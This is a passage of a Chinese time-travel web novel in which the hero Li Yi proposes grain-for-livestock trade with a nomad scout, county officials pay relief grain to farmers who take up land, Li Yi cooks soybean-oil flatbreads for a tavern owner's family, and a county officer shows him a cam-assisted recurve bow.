于巧倩瞪大美眸,没想到自家夫君会问得如此直截了当。
乌兰听闻低下头,果然,她是瞒不过这些中原人的。
“是,我们和两个族人就是来探查你们中原这边的部落”乌兰没有隐瞒。
“探查完呢,好来抢粮抢人是吗?”
乌兰的大眼睛盯着李逸,她的目光没有闪躲,认真地点头:
“是!确认你们部落的实力后,就会有更多我们部落的勇士过来抢你们的粮食和女人!”
“我乌兰的这条命是你救的,你可以现在就杀了我!”
乌兰说完闭上双眼扬起下巴,露出她长长的脖颈,神色决然!
于巧倩虽是也有所猜测,但听到乌兰亲口说出来后内心也是震惊的,若她和族人没有被狼群袭击,不出几日就会有更多的蛮子过来烧杀抢掠,将她们带到山的那边。
于巧倩的面色微白,因为她想到,就算乌兰她们不回去,用不了多久那边的蛮子也还是会过来的。
她的美眸看向表情阴沉的李逸,不知道自家夫君要做什么决定,是将
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乌兰杀了还是送到县衙。
李逸神色稍缓,点头说道:“还算诚实,那就有的谈!”
“我杀了你也没用,你的族人们没见到你回去,只会以为你们被我们抓了,或者被我们杀了,过了几日便会有更多人过来。”
“是!我哥哥一定回来复仇的,他不放过任何一个仇人!”
于巧倩面色越来越难看,如果真是那样他们可就危险了。
短暂的沉寂,气氛变得有些凝重。
李逸却是突然笑道:“你哥哥过来复仇也解决不了你们的问题啊,抢只是一时的,因为在抢的途中,你们不可能毫无损失,就像这次,只是来探查你们就折损了三人。”
李逸所说的第三人也是乌兰本身。
乌兰睁眼看向李逸,眼神复杂:“可是不出来抢,我们部落里就会人饿死,还要被更强大的部落抢掠,我们没有别的办法!”
李逸指了指自己:“我可以和你们做买卖啊,用你们牛羊来换我们的粟米和盐,食物不就够了吗?”
“一头牛,一头羊,你们杀了够部落里的人吃几天?可若换成粟米,加入些野菜熬成粥够你们吃很多天的。”
乌兰明显愣了下,短暂惊愕后她说道:“可你们中原人都害怕我们,还愿意和我们交换吗?”
“你们来我家抢粮食抢女人,我们自然害怕,可若你们是来和我们交换的,我们也欢迎。”
李逸说话的表情很真诚,乌兰听后也确实有些摇动,粮食和盐部落里很缺,尤其是盐,他们盐池被得拓跋部落抢走了,吃光了剩余的盐,他们就面临没盐可吃的情况,而不吃盐又哪里来的力气。
“那你们愿意用多少粟米和盐跟我们交换?”乌兰连忙追问。
李逸习惯性地挠挠头:“这个不固定,要看交换的是种羊还是母羊,是小羊小牛还是奶牛,具体等我回来再和你说,我先出门了。”
李逸说着拿起皮帽子转身离开,留下乌兰在那低着头沉思。
于巧倩无奈苦笑,自家的夫君胆子还真是大,敢和茹毛饮血的蛮人做买卖。
乌兰沉思了片刻,多少明白了些李逸所说的意思,可再想追问李逸早就赶着骡车出村了,她忙看向于巧倩问道。
“倩儿姑娘,如果用我们的一头大羊来和你们还粟米,能换多少?”
这个时期匈奴和鲜卑游牧民族,还在疯狂内斗极少和中原人交易,他们甚至都没有斤两的概念,只论数量和大小,部落里的中原人全都入乡随俗。
于巧倩略一沉思,估摸着一只羊怎么也要上百斤重,大齐律例不允许吃牛肉,羊肉在安平县这一带也是稀罕物,所以价格自是要比野猪肉更高。
不过她也不敢贸然报价报得太高,毕竟后面是要自家夫君和乌兰来谈的。
“应该是能换千斤粟米吧,我对这些也不懂,要等夫君回来他能告诉你。”
“千斤?”乌兰歪头。
于巧倩苦笑,带着乌兰到外屋指着一袋粟米说:“十个这样的袋子,就是千斤左右。”
乌兰眨了眨大眼睛,感觉有些不可思议,一头大羊竟然能换这么多粟米吗?
他们杀一头大羊煮了吃分下去,部落里每个人分到的只有一点点,还不够一天吃的。
在秃发部落里,有一部分牛羊是部落所有人共有的,还有一部分是个人所有,就和自己的女人一样,但在非常时期,部落也会征用个人的牛羊。
拿出一头大羊就能换十袋粟米,这够吃上好久的,将部落里的牛羊拿出一部分来交换,整个冬天的食物就有了!
想到这些乌兰心里像是装了一团火,恨不得现在就回去和哥哥说,这关乎着整个部落的生存,是大事。
见到乌兰依靠着墙坐在炕上想得出神,于巧倩便是知道,她必然是因为自家夫君的提议而心动了。
稍一思量,于巧倩就发现了如此做的妙处,双方不用厮杀都能从中获利,这是一件大好事.....
第八十五章:快去分田!
安平县县城门口....
噹...噹...噹...
一名县衙的衙役,用力地敲击着手中的铜锣,将周围的人都吸引了过来。
“来来来,都过来看一下啊,这是县令大人最新的布告。”
“即日起!所有安平县下的农户,去县衙分田的可获得县令大人和县丞大人给的救济粮,每分一亩田地可得二十斤粟米,救济粮数量有限,想要分田地的农户可是要抓紧了啊,别怪我没告诉你们。”
之前发布告时,城中的百姓和农户们只是看看,就当热闹了,多分田地来种固然是好事,但秋收要上缴的税粮也多呀,往年都是粮食产的不怎么多,但税粮却是从来没少过。
农户们面朝黄土背朝天地干活,费劲巴力地种田,到最后留在手里的粟米和黄豆却没有多少,所以在很多农户看来,多分两亩地对他们来说也没有太大的好处,依旧是吃不饱穿不暖,还因为多分了田地要干更多的活。
所以每次,看完听完的人,不消两日便能将这事情忘记得一干二净,全当这事和他们是没有任何的关系。
然而今日却是不同,当即就有一个干瘦的老汉开口询问:
“分地就给粮,你说的可是真的?莫要诓骗我们啊!”
噹.....
衙役用力敲了下铜锣,转头看向说话的农户,瞪了他一眼说道:
“自是真的!我还敢拿这种事情说笑的?借我个胆子也不敢乱说啊”
“告诉你们也无妨,县令大人和县丞大人是从他们的俸禄里,各拿出一百五十旦,这事可是上面来的大官拍板决定的,加起来一共三百石粮食,分完可就没有了啊!”
众人一听,连忙开始议论起来,一亩田地就给二十斤粟米,这若是去分个两三亩田地,便是直接白得了几十斤粟米啊,省着点吃能吃一段时间,说不定就能挨过这个冬天。
“这是好事啊,多谢县令大老爷!多谢县丞大老爷!”
“我这就去分五亩田地,明年种地的事明年再说!今年冬天没有这粮食,我这一家老小怕是要饿死哦!”
“对!人都要饿**,哪还管得了那么多呀,我也去分地!去晚了可就没有了。”
噹.....
衙役一敲铜锣:“那还愣着作甚,快去吧!”
人群一哄而散,这些农户全都向着县衙的方向跑去。
县衙内堂.....
拟定完布告,周之栋,伍思远,张贤,三人就在县衙等待着。
周之栋端坐在一旁,手中端着茶盏,看他的表情无悲无喜。
另一边的伍思远和张贤,可就无法做到像他这般了,频频地互看对方,虽是觉得应有农户因为送粟米而过来分田的,但心中还是有些没底气。
在这种心情下,不知道等了多久,衙役班头李刚小步跑了过来。
“三位大人....”
伍思远有些不耐烦挥手打断:“直接说!”
“县衙大门口来了好些个农户,他们都喊着要分田地呀!”
李班头快速说完,伍思远短暂惊愕后面露欣喜之色,连忙转头对周之栋拱手作揖:
“都吏大人深谋远虑,下官佩服啊”
周之栋站起身:“走吧,去分田地,我同你们一起。”
多日以来,一直冷清的县衙今天终于忙碌起来。
吸取上次的教训,张贤对每一个农户都仔细核实身份,之后再分田地。
拟好地契,农户画押按手印,即刻就能根据所分的田地亩数,在衙役那称重领取救济粮,每亩田地二十斤,便是两斗米。
城中人奔走相告,排队的农户从县衙里一直到县衙大门外。
“我领到粟米了!我领到粟米了!”
“三亩田地,足有六十斤粟米啊,够吃一段时间了!”
第一个农户拎着粮袋走出县衙大门口,身材干瘦的他拎着六十斤粟米还略显吃力,但他的脸上全是激动的笑容。
本来心中还犯嘀咕的农户们,见此双眼放光!分地给粮食是真的!
因为前来分粮食的农户数量众多,张贤一个人忙不过来,伍思远便是亲自帮忙和他一起,一直忙碌到天黑,还有几十个农户没能分上。
“莫急,你们明日再来吧,县令大人和县丞大人的救济粮还有不少呢!”李班头站在县衙门口说道。
见他如此说,那些没分到田地领到救济粮的农户才敢放心离去,心中暗道明日定是要早早前来。
看着排队等候的农户们离去,李班头也松了口气,今日可真是有够忙活的。
虽说县令大人没有发话不让后面的农户进来,但李班头深谙人情世故,清楚因为有都吏大人在,都吏大人不发话,县令大人和县丞大人自是不敢言语,只能是他来做,事后再去和都吏大人请罪,没有人会地责怪他。
堂内,伍思远看着外面的漆黑天色,清了清嗓子喊道:
“李班头,李班头”
李班头听闻快步跑来。
“大人,属下在”
“可还有分田的农户啊?”伍思远问道。
“还有二十几个人,我看天色太晚了便让他们明日再过来,三位大人都辛劳了一整天,也该休息一下了。”
伍思远故作气愤地喊道:“混账!谁让你善作主张的!”
“县令大人息怒.....”李班头连忙跪下。
周之栋见状挥了挥手:“算了,今日便到这了,这田也不是一天分的。”
伍思远拱了拱手应道:“大人说的是,大人今日辛苦了”
说罢伍思远转头看了眼李班头:“还不谢过大人。”
“谢过,都吏大人”
“行了,你下去吧.....”
李班头从堂内离开,嘴角带着些笑意,这和他所料想的一般无二。
“张贤,你将今日所分田地的亩数统计一下”
“是!大人!”
经过一番计算,最终数字得出来时,张贤短暂吃惊后面露欣喜之色。
“回大人,今日一共分得田地,四百一十三亩!”
“哎呀.....大人此法甚妙,下官佩服!”伍思远连忙开口恭维。
周之栋听到这个数字,也微微点头,如此来看安平县是有机会赶上临县的,虽还没有达到令人满意的地步,但也算是能够勉强交差。
王记酒肆......
“唉?李兄弟,这为何物啊?”
王金石看着李逸搬下来的大陶翁,很疑惑地问道。
之前李逸都是用麻袋和木桶将那些吃食带过来,用这大陶翁还是头一回。
“好东西!”
李逸笑着将陶翁一路搬到后厨,放在地上发出咚的一声。
打开陶翁封口的盖子,王金石探过头来张望,发现陶翁里都是金黄色的粘稠液体,闻着有一股豆子的清香。
“这是.....”
确认又是没见过的东西,王金石也不猜了直接等李逸揭晓答案。
“豆油!”
“豆油?”
豆子,王金石知道,油,他也知道,但豆油,这是何物?用豆子还能做出油来不成?
王金石疑惑的小眼睛,表明了他内心的真实想法。
“就是用豆子,经过非常复杂的工序制作出来的油,可以用来做各种吃食,最重要的是没有肉腥味!”李逸解释道。
“哎呀呀.......”
王金石绕着大陶翁转了一圈,啧啧称奇道:
“李兄弟,你真是个奇人啊,这都能被你弄出来,哥哥真是服了你了。”
李逸一笑:“来都来了,我用这豆油给你做点新的吃食。”
王金石听后精神为之一振啊,能吃李逸亲手制作的吃食,那是何其的幸运。
他连忙抬手:“呃......等下!”
见李逸转头看过来,王金石开口解释道:
“那个......兄弟你能不能多做点啊,我把我老娘还有媳妇孩子们都....都带过来....嘿嘿嘿......让他们都尝尝你的手艺。”
王金石不好意思地笑着。
李逸最是欣赏王金石这点,一个大孝子,只要不做大奸大恶的事情,人是非常可靠值得信任的。
“行,王大哥你去吧,我多弄一些”
“好嘞!兄弟,我马上就回来啊!”
王金石屁颠颠地离开,去后
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院套马车。
李逸则是喊来王金石本家的厨子和他的两个儿子,他们都见识过李逸的手艺,一个人直接改变整个县城内所有酒肆食肆的买卖。
毫不夸张的说,这位一出手,其它酒肆食肆都有的忙活了。
“你们不用回避,我要做的这些新吃食都不难,你们一看便能学个七七八八,之后又能给酒肆增加新的吃食!”
“呵呵.....好好好”
王全憨厚地笑着,大手拍下两个儿子的后脑勺,叮嘱:
“好好学啊,你们李大哥可是轻易不出手的,学好了都是手艺,以后可能要你们出去挑大梁的,懂不?”
“知道了爹,我们会好好学的!”
“李大哥辛苦了!”
王全的两个儿子,王金,王水,那真是一比一复刻了他的长相和身材,身宽体胖不比王金石差多少,让李逸怀疑王家的遗传基因就是这样的。
李逸要做的便是大饼,发面饼,葱油饼,他在粮店看过红豆,也有想过弄制作豆包和豆馅的饼子,但考虑到没有糖,总觉得会破坏豆包在他心目中的味道,那种饴糖他尝过甜度很低,且用起来不方便。
这个时代没有甘蔗,甜菜可能有只不过没在安平县见过,用甜菜嘎达同样可是制作糖,之后李逸会试着寻找看看。
李逸有想过用这个时代的豆豉和肉制作炸酱面,或者是制作肉臊,但受限于调味品的缺失,他担心制作出来的炸酱面和肉臊面,会有些似是而非。
转念一想,豆酱和酱油的制造,之后也要提上流程,各种调味品的出现,再加上丰富的食材,是美食文化发展的基础。
一刻钟后......
两辆大马车先后驶入酒肆后院,王金石掀开布帘伸着自己胖乎乎的手掌。
“娘啊,你慢着点,我扶着你。”
车厢里,一个个子不高头发半白的小老太探出头来,微胖,眼睛不大也给人一种笑眯眯的感觉。
“哎呦,这大冷的天,在家里吃一口就行啦,还把人都折腾到店里做啥。”
王母语气似是嗔怪,但看表情似乎也有些期待,随后一个个王家女眷从车里下来,最后才是小辈。
王金石一共有七个媳妇,除了刚过门没多久的老七,其余六个都给他生了孩子,最大的儿子都有十岁了。
此时还没到饭口,酒肆里没什么人,一行人来到里间这里有三张单独的桌子。
“爹爹.......这是什么味道?好香啊!”大儿子吸了吸鼻子问道。
王金石瞪了他一眼:“瞧你那没出息的样子”
说罢他也提鼻子闻了闻:“呃....确实很香啊!看样子我李兄弟做的新吃食又是不一般啊!”
“你说的,就是那个做馒头还有豆腐和面条的后生?”王母问道。
王金石连连点头,然后趴在老娘耳边小声说道:“还有你吃的那大虫肉,也是我李兄弟打的,可有本事了”
王母听闻连连点头:“哎呦!那可不得了哦,这年轻后生是个奇人,好好和人家结交啊”
“我知道老娘,你就放心吧,我和李兄弟的关系好着呢,他最信任我了,有啥好买卖都先想着我。”
王金石转头看着这些家眷们,摆手示意他们坐下:
“都坐下,李兄弟做的吃食,我都吃不上几次,今天我可是舔着脸让人多做些,将你们喊来的,一会别乱说话啊。”
“知道了爹”
“知道了夫君”
坐下没多久,就听到后厨方向有李逸的喊声:“王大哥吃食做好了,过来帮忙!”
王金石听闻扯着脖子回应:“好了兄弟,哥哥来了”
他就喜欢李逸和他说话的语气,听着亲切就像自家兄弟。
挺大肚子迈着小碎步,王金石一年来走得这么快的次数有限,上半年的份额都应在自家老娘那,下半年都应在李逸这。
进入后厨的瞬间,扑面而来的首先是烟火气,然后就是各种各样的香味儿,也就只有李逸在厨房里是会这样。
王金石瞪大眼睛,用力地吞了吞口水:“哎呦......这都是啥啊!看着就好吃啊!”
第八十六章:卖到临县
李逸准备烙饼时,正好看到了王全准备的包子馅,索性他就弄过来一些,临时又加了一种肉饼。
忙活了好一阵,四个大木盆里面摆得满满的,也多亏了王全和他的两个儿子给打下手,节省了李逸不少力气。
他们三父子都是身宽体胖,手掌宽厚,手大有力气,揉面团特别顺手,李逸只是稍微指点了下,他们便是能按照要求将面团揉到满意。
知道都是王金石本家的人,李逸教他们时也不藏私,后面烙的饼他们都有参与,学会了烙饼这要诀就是揉面和火候的控制,而不小心烙糊的几张饼子,李逸就留给他们三父子享用了。
“王大哥吃食做好了,来帮忙!”
王金石听到李逸的呼喊赶过来,进入厨房看了眼,整个人都愣住了。
四个大木盆里都是色泽金黄诱人的饼子,大饼,葱花大饼,发面饼,肉饼有发面饼皮的也有正常饼皮的。
王金石哪见过这些,用力地吞了吞口水:“哎呦......这都是啥啊,看着就好吃啊!”
李逸笑道:“饼子,各种饼,除了这些以后有合适的食材还能制作很多种,就和包子是一样的,你端上去吧,我再炒个菜。”
“好嘞!”
王进开心地应了声,就和伙计一样端起木盆,一边走一边用力地闻着:“哎呦!这香味,要给我香迷糊了!”
这次炒菜李逸用的是豆油,先将葱段丢入锅里炒出葱香味儿,紧接着下肉片,肥瘦相间的肉片煸炒至变色再放入泡发的木耳,大火快速翻炒,木耳稍软一些就能出锅,一道很简单的木耳炒肉便是好了。
出锅后李逸又拿了豆芽,炒了一盘豆芽炒肉丝,虽都是很基础简单的炒菜,但李逸每个步骤都做得从容不迫,看得王全父子三人心中连连惊叹:这手艺绝了。
出锅装盘!
【厨艺熟练度+5】
【生存技能厨艺等级提升】
【获得奖励:敏捷+2】
【获得奖励:《调味百科》】
看到系统的提示,在短暂的欣喜之后,李逸就开始吐槽起来。
为什么全给敏捷?当个快乐男生哪有炫迈好啊。
可转念一想,有了这两点敏捷属性,他的身体属性就算是平衡了,力量,体质,敏捷都是五点,且若是应对危险,这敏捷属性也很重要,直接影响到奔跑的速度,躲闪速度和反应能力。
“调味百科?还有这种东西吗?”
李逸闭目稍作思索,睁开眼时面露喜色,这个《调味百科》里,记录着各种调味料的制作,另外系统爸爸似乎是考虑到他的条件,古法老法放在前,现代工艺制作都放在后。
他刚还在想着,酿造豆酱和酱油,醋的这些问题,现在就有了一本极其详细的参考书,被系统爸爸安排得明明白白。
“世上只有爸爸好,有爸的孩子像个宝,有了爸爸的关照,穿越没烦恼......”
心中哼哼着不该出现在这个时代的旋律,李逸端着菜去了里间,一进屋他的眼睛不由自主的瞪大。
嚯啊!这一家人,不仅仅是家族脸,还是家族身材啊!
一个个都很富态,白胖,看着就喜庆,正位坐着的老妇人,那是和王金石高度相似,说不是亲娘都没有人信。
“老夫人,诸位嫂嫂,慢慢享用”
李逸特意把菜放得距离老夫人近一些。
王母眯眼打量着李逸,这年轻后生长得虽是没有多俊美,但眼神很清亮,不像是那种精于算计的人。
“石头,你这小兄弟人不错啊,就是瘦了些看着单薄”
李逸憋笑,老王这小名有点过于接地气啊,王母没有叫他金子,反而选了石头。
“来,兄弟,坐我旁边!”王金石拍着身边的椅子笑道。
王金石没发话,他那些孩子们虽是馋得不行,但也只是直勾勾盯着木盆。
“这些都是用小麦面粉烙的饼子,和馒头包子的区别,在于做法不同,一个是蒸一个是烙。”
“老夫人,这是层饼,这是葱花饼......”
李逸微笑给老夫人介绍这些饼子,王母始终是笑呵呵地听着。
“老夫人趁热吃吧!”
王金石也有些迫不及待了,大手拿过来两个肉饼,先给了老娘一个,剩下一个捏在自己手里,小眼睛扫视一圈:
“都吃吧,都吃吧,看给你们馋的!”
众人听闻也学着他的模样直接上手抓。
王母拿着肉饼先是凑近鼻子闻了闻,闻到一股豆香味,然后送到嘴边试探着咬了一口,王金石给她拿的是发面的肉饼,厚实松软,表层金黄泛着油光,一口咬下去,还能听到酥脆的碎响声,饼皮酥脆内里松软,最里面是带着汁水的肉馅。
自从王金石带回去馒头包子这些,王母的胃口都好了很多,也喜欢那有热汤的面条,觉得很适合安平县这寒冷的冬天,吃完面喝了汤身体都暖乎乎的。
“哎呦.....这肉饼比那肉包子还要香啊!”王母忍不住惊叹。
王金石也咬了一大口,瞪着眼满脸的不可置信,只是一个小麦竟是能够制作这么多的美味,能想出这些的李逸更是让他佩服。
“哎呦......娘,这葱花饼也好吃得很!你尝尝”
“这个层饼也好吃的,跟那馒头和面条嚼着都不一样。”
“爹!这饼子太好吃了,我想天天吃。”
所有人都对李逸烙的饼子是赞不绝口,王金石每种饼子都尝了下,只觉得各有特色每一种都是好吃的,好吃到平日话很多的他,此时是一直吃一个不吱声,只埋头默默吃着饼子。
吃得差不多了,王金石才得空看向李逸称赞:“兄弟,还得是你啊!能吃上一口你的做饭,全身上下都舒服。”
“是呀,李兄弟的这手艺真是没得挑”王金石的大媳妇擦着嘴笑道。
到底是大户人家,王金石的这些媳妇看着都白净富态。
王母细细回味后,突然说道:“这些吃食应是用了不少油,我怎么没吃见油腥味儿呢?”
经王母这么一提醒,众人才后知后觉,刚刚只顾着好吃了,竟是把这都给忽略了。
“娘要不说,我都没发现呢,我平日里最是受不了那猪油的腥味儿,可这些吃食就没有,所以我也吃了很多呢。”
说话的是王金石的七媳妇,可能是刚加入这个大家庭的原因,她的身形相较于六个姐姐是要苗条消瘦许多,俏脸还真就只有巴掌那么大。
王金石一拍额头:“哎呦,好吃的我把这事的忘记了!”
他看向李逸:“兄弟,这豆油可是好东西啊,吃着香还不腻,我要不要多囤些黄豆啊?”
李逸稍作思量:“收些也可以,不过这豆油很难弄,出的油也不多,一千斤黄豆只能出不到二百斤豆油,有些浪费豆子啊,好在是豆渣掺着小麦的麸皮能喂养牲口”
王金石听闻有些震惊,一千多斤黄豆才出了不到两百斤豆油,只是想想他都觉得弄这豆油麻烦。
“那这豆油可金贵了,可是得卖得贵些”
李逸摇头:“李大哥,豆油我暂时没打算卖,咱们留着自己吃,当做王记独有的稀罕物来用。”
王金石赞同点头:“嗯....也成,等下哥哥就把豆油钱给你。”
似是想到什么,王金石又说道:“兄弟,你料事可是真准啊,就这几日,馒头,包子,面条,这些吃食的价格全都降了一大半了。”
一切都和李逸所预料的一般无二,几日前听衙门的说官道就要清理完了,王金石带头组织各家店铺的老板店主们,一起去临县收小麦。
结果就在城外遇见了陈林,明面上大家一阵寒暄,赶起路来一个比一个拼命,明明是要三日才能赶到临县,硬是用了两日。
到达临县,这些人二话不说就开始大肆地收购小麦,只一天时间临县各大小店铺的小麦就都卖光了。
小麦这东西临县虽有,但日常百姓所吃的还是以粟米为主,小麦因为产量低卖价高,平日里卖得并不快。
在下雪封路之前,倒是有人收过一批小麦不多只有千斤,但今天却是很多人同时大量收
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小麦,有的干脆直接清空一个粮店内所有的小麦。
如此反常的行为,让临县的几个米粮大户都嗅到了些不同寻常,紧急停止售卖自家存着的小麦,打算先观望着,看看为何会有这么多**量收小麦。
随后不知是谁放出来的风声,说是因为在安平县最近有了用小麦制作的新吃食,味道很独特很好吃,县城的大户和富户人家都爱吃。
风声出来,临县的一些大户人家都开始暗中打听起来,究竟是什么吃食,又有何独特之处,才能让安平县的人来这里大量的收小麦。
虽是及时停止了售卖小麦,但这期间安平县城来的这些老板们,都收了足够多的小麦,两三千斤混着粟米一起使用,足够用很长一段时间。
小麦充足了,各店铺的老面也养得足够,每日能蒸的馒头翻了好几倍,于是陈芳斋那边又带头降价,到现如今,馒头售卖的价格在四钱五钱一个,肉包子十钱,一大碗热乎乎的肉汤面条也只卖二十枚铜钱。
李逸卖给陈林的那些高价馒头,陈芳斋甚至到现在还没有全部卖完,再过些时日是每一个都要赔钱卖,按照李逸的推断,馒头最终的价格会定格在两钱,肉包子五钱,一大碗面条在十钱左右,如此才算是比较合理的。
前几日之所以能卖得那么贵,就是因为头一家,食客们都吃一个稀奇,卖的人多了,食客尝新的劲儿没有那么高了,价格自然会降下来,且不出一年,安平县和临县的寻常百姓都能在家里自己蒸馒头吃。
现在就只有豆腐的价格是略高的,因为制作方法完全掌握在李逸手中。
食肆酒肆想要长久做买卖,自是不能所有吃食都那么贵,如此食客才能来得更频繁,一个肉包子就买二十钱一个又吃不饱,一碗汤面几十钱,就是家底厚也不是这么挥霍的。
“有几日没见到陈林那个老狐狸,难不成他还在临县呢?”
王金石想到这点忍不住皱起眉头。
“应该是在临县准备开店吧,他在临县卖头一份馒头和面条,把损失的钱好趁机赚回来”
李逸如此说,王金石才如梦初醒地一拍大腿:
“哎呀!我就说嘛,真是条老狐狸!”
临县比安平县要大不少,富户也更多,抢先开店陈林定是能够赚些好钱。
虽是嘴上说着,但看王金石的表情,他似乎并没有太过在意。
“算了,那老狐狸去就去了,我就在安平县城守好我这买卖就成,他陈林真以为临县的那些大户会放任他将买卖做大?”
“再者来说,我老娘的年纪大了,我不想跑得太远。”
“只是兄弟,这样一来钱都被陈林那个老狐狸赚去了。”
王金石无奈地看着李逸,明明这些吃食都是李逸弄出来了,现在却是让陈林到临县去赚钱。
【唉,有点对不住李兄弟啊,我也应是跟着去临县和陈林那个老狐狸斗上一斗,可我真放心不下我老娘啊】
知道王金石心中所想,李逸笑道:
“王大哥,不必心急,你也说了临县的那些商户,自是不愿意赚钱的大买卖落到外县人手中,陈林在那边生意越好,越是有坐不住的人,到那时自然会有人来我们安平县寻找解决的办法。”
“而在安平县里,谁不知道这些吃食都是王记酒肆最先再卖的,所以他们想要制作的配方,就必然会来王记,陈林卖得越好,弄的动静越大,我们的配方就越是值钱。”
王金石一听,笑着拍大腿:“嘿嘿.....还是兄弟你想得周全啊,到时候我定是帮你卖个好价钱,我一分钱不要!”
王金石看中李逸这个人,真心结交,所以他表现得格外豪爽。
李逸笑着摇头:“王大哥,卖配方的钱咱俩一人一半,你抽空再去我上次去的乡里拉些石磨来,一并高价卖给他们。”
见李逸真诚,王金石认真点头:“成,既然兄弟你仗义,哥哥我也不矫情,卖的钱咱俩一人一半,你什么都不用管,只等着我把沉甸甸的银锭金饼送到你手里就成!”
第八十七章:如何运送?
噹...噹...噹...
铜锣声响,安平县城门口一张新的布告贴出。
听到衙役敲铜锣,越来越多的农户围了过来,衙门分地可以领救济粮的消息,如今已经下传到乡里和一些大的村子里,很多农户都是起了大早赶到县城来,甚至有人为了能够分到救济粮,赶夜路来到县城,就怕晚了救济粮发完。
看着城门口又有布告贴出,这些刚来县城的农户,还以为是和分地有关的新布告全都主动凑了上来。
“来!都来看下啊!县衙今日新拟定的布告,和咱们全县所有人有关,是大好事啊!”
衙役笑嘻嘻的看着聚拢过来的农户们,一张张黑黢黢的脸冻得青红。
“差爷,是分地给救济粮的事吗?”当即就有农户关心地问。
他顶着黑赶到县城来,可别是还没轮到他分地就说救济粮没了。
衙役抬手虚压,清了清嗓子喊道:
“不是分地的事儿,听完了你们再去县衙排队也不晚,还有不少救济粮呢。”
“今日要说的,是关于生孩子的事,你们都听好了啊!”
“即日起,凡安平县所属农户,听清楚只有农户啊,每生一子可获得救济粮三十斤,每生一女可获救济粮二十斤,只限今日之后出生的娃啊,你们说这是不是好事儿啊?”
人群短暂沉浸后,众人开始议论,生孩子就给救济粮,还有这好事!
噹.....
衙役一敲铜锣挥了挥手:
“听完了你们还不走吗?不着急去分地啦?”
“生孩子它又不是一日两日的事情,回家你们再和自家婆娘去捣鼓吧,生两个那可就是五六十斤粟米啊,反正早晚都要生,不如抓紧现在生。”
一个个农户汉子都嘿嘿笑着,农妇们则是低着头啐了一口这小衙役的口无遮拦。
.......
昨日和王金石说了很多,眼瞅着天都黑了,李逸就没着急出城,他跟王金石说了要买五百斤粗盐,王金石问都没问,就说他会安排人去买,价格还指定不会买贵。
在县衙门口,李逸看到了排队的穷苦农户们,看这排得和一条长龙一样,少说有两三百人,官府这次颁布的分地政策是下了血本的,分一亩地给二十斤粟米。
当日李三为了五斤粮种都敢来分地,就更别说直接给二十斤粟米,那些米粮不够过冬的农户,听到这样的消息没有理由不心动的。
不过这分地也不是没限制想分多少就分多少的,要看家里有几口人,要避免地分出去了来年没人种。
好处给了,利害关系也要说明,来年发现有人分地不种地,是要加倍奉还粟米的,还不上直接去当苦役给县城修城墙。
“你也是来分田地的?”
李班头一眼就认出李逸,知道这不起眼的农户现在和赵县尉关系不错,赵县尉更是多次对外称兄道弟,所以哪怕他是个普通农户,李班头也不能怠慢给脸色看。
“劳烦李班头,我要找赵县尉”
县衙后面有一个大院,平日里县尉和县兵都在那边,除了轮值和下派去乡里的一些兵卒,剩下的都要每日操练,和税粮**的一战让赵川看出了手下们懈怠,经过一段时间的操练属下们的松散少了很多,有点当年打仗的感觉了。
“今日天气不错,没什么风,适合练习射箭”
“咱们丑化说在前头啊,到晚上射箭比试,最差的五个人,以后十天喂马清理马粪就是你们的活,听清楚没有?”
“听清楚了!”
“声音不够大,我听不见!”
“听清楚了!”
“好,你们自行练习”
赵川交代完,转身时就看到那边站着的李逸,刚才还严肃的脸瞬间带上些笑意:
“呦!李兄弟,你何时来的呀,怎么不叫我。”
“刚到片刻,正好看看县尉大人怎么练兵。”
赵川叹气:“嗨.....矬子里挑大个吧,就他们这些上了真战场,能活着回来十个都算是好的,连李兄弟你的一只手都比不上。”
李逸摆手:“县尉大人严重了,我就会打打猎而已,怎么和上战场杀敌的士兵们相比。”
“行了,你就别谦虚了,我又不是外人,我们去屋里坐,喝碗热茶”
李逸刚坐下,赵川就笑着拿过来一把反曲**:“李兄弟,你看看这张弓制作得如何?”
李逸接过细细观察,顿觉眼前一亮。
赵川将这一切看在眼里笑着说:“我找到了一个制作弓箭有些年头的老工匠,觉着他的手艺还不错”
李逸先是抚摸了弓身,和他用榆树榆木不同,这弓身用的是有年份的拓木,且选材的部位是最好的,纹理清晰没有任何裂痕,弓弦是用兽筋制作的,也是顶级。
一般来说军中用的弓弦,全都是麻类纤维特制的,强度在中高,韧性比较强,最大的优势是耐用,且成本最低,最适合批量使用,而兽筋制作的弓弦,强度和韧性都极强,其次是用蚕丝制作的弓弦,仅稍逊于兽筋弓弦。
李逸的那把反曲**是赶制出来的,在木料和弓弦上完全被赵川这把弓碾压。反曲弯角使用的是打磨后的兽骨,虽是不如牛角羊角,但不影响使用。
李逸最后看向的是核心的铁环,这东西说得更专业些叫凸轮,偏心轮。
基础形态是椭圆形,后世现代经过各种力学设计,还有更复杂的形状和多个凸轮的组合搭配,以求将**的威力最大化。
李逸上一次使用的鹿角,鹿角根部的圆形便是不规则的卵圆形,刚好满足凸轮的最基础款。
而李逸给赵川提供的制作方案,是很标准的偏心轮所以才更考验铁匠的技艺,上一次那铁匠制作的只能说是勉强的能用,堪比用鹿角制作凸轮的效果,优点是比鹿角磨制的凸轮更耐用。
但这一次,不知道是换了铁匠还是铁匠花心思琢磨的原因,竟是很符合李逸心目中偏心轮的基础效果,如此一来所有部件都达到了他的预期,甚至超过预期,完成最后的组装后,一把不可能出现在古代的反曲**就诞生了,不用试都知道,其有效射程能超过百米!
李逸拉动弓弦,偏心轮的设计让初始拉动会感觉有些沉重,但整个过程随着拉动,所需的力量逐步减小,而维持拉开的状态,近乎不需要用力。
“好弓!已经超出我的预想中的效果了!”李逸由衷赞叹。
赵川得意一笑:“你能满意,我就不白忙,我全找得最好的工匠,也开出了他们无法拒绝的条件。”
“赵县尉,这弓现在做出多少了?”李逸问。
赵川略一沉吟回道:“普通的有三十把,这种最精良的有四把。”
“能不能先给我两把,村子那边最近晚上常听见狼嚎声,我担心有狼群要袭击村子。”李逸直言。
赵川没有任何犹豫:“当然能啦,你若是不告诉我如何制作,我连一把都造不出来,你要就拿去。”
李逸抱拳:“多谢县尉大人,等我猎了狼,挑两张上好的狼皮送给县尉大人!”
赵川呵呵一笑拍了拍李逸的肩膀:“好啊!我听说狼皮可是好东西,保暖御寒看着还威风,我就在这等你的狼皮了。”
“好说,有这把弓在手,被我看中的猎物就别想逃了。”
李逸虽是有一把**,但那东西只能是他自己偷偷使用,而这把精心制作的反曲**,配合系统爸爸那些毫无瑕疵的羽箭使用,除了威力略比**稍逊一筹,在其他方面都可碾压**。
李逸手搓的反曲**虽是还能使用,但弓弦力道和韧性明显有降低,这就是赶工制作的弊端。
